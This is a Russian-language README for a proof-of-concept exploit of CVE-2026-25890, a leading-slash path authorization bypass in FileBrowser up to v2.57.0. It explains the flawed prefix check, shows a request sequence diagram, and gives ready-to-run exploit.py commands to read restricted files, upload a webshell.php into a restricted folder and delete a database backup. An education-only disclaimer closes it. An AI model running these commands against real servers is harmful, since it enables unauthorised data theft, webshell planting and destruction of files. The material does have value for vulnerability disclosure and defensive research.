
Эксплойт для CVE-2026-25890 — обход авторизации на основе пути в FileBrowser <= v2.57.0, позволяющий аутентифицированным пользователям с низкими привилегиями читать, загружать и удалять ограниченные файлы с помощью множественных ведущих слэшей.
Неаутентифицированные пользователи не могут использовать эту уязвимость — требуются действительные учётные данные с низкими привилегиями, ограниченные для целевого пути.
Обход авторизации на основе пути в FileBrowser ≤ v2.57.0 с использованием нескольких ведущих слэшей (//private вместо /private) для обхода проверок strings.HasPrefix(), в то время как файловая система по-прежнему обслуживает канонический путь.
Исправлено в v2.57.1 (коммит 489af403... — удалён r.SkipClean(true)).
# Клонирование репозитория
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# Нет зависимостей, кроме стандартной библиотеки + requests
pip install requests
python3 exploit.py --help
# Чтение ограниченного файла
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# Загрузка вредоносного файла в ограниченную папку
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# Удаление ограниченного файла
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Attacker
participant FileBrowser ≤ v2.57.0
participant Gorilla Mux Router
participant Auth Middleware
participant Filesystem Handler
Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(обычный запрос)
FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
Auth Middleware->>Attacker: 403 Forbidden
Note over Attacker,FileBrowser: Атакующий пытается обойти
Attacker->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → без нормализации)
Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
Auth Middleware->>Filesystem Handler: Разрешено → продолжить
Filesystem Handler->>Filesystem: Нормализует // → /private/secret.txt
Filesystem->>Filesystem Handler: Возвращает содержимое файла
Filesystem Handler->>Attacker: 200 OK + секретное содержимоеЭта proof-of-concept предоставляется строго для образовательных целей и исследований в области безопасности.
Не используйте этот код против любой системы без явного письменного разрешения владельца.
Несанкционированный доступ или модификация систем незаконны в большинстве юрисдикций (например, CFAA, Computer Misuse Act).
Автор эксплойта: Mohammed Idrees Banyamer
Страна: Иордания
Instagram: @banyamer_security
Поставьте звезду ⭐ репозиторию, если он вам полезен!
Последнее обновление: февраль 2026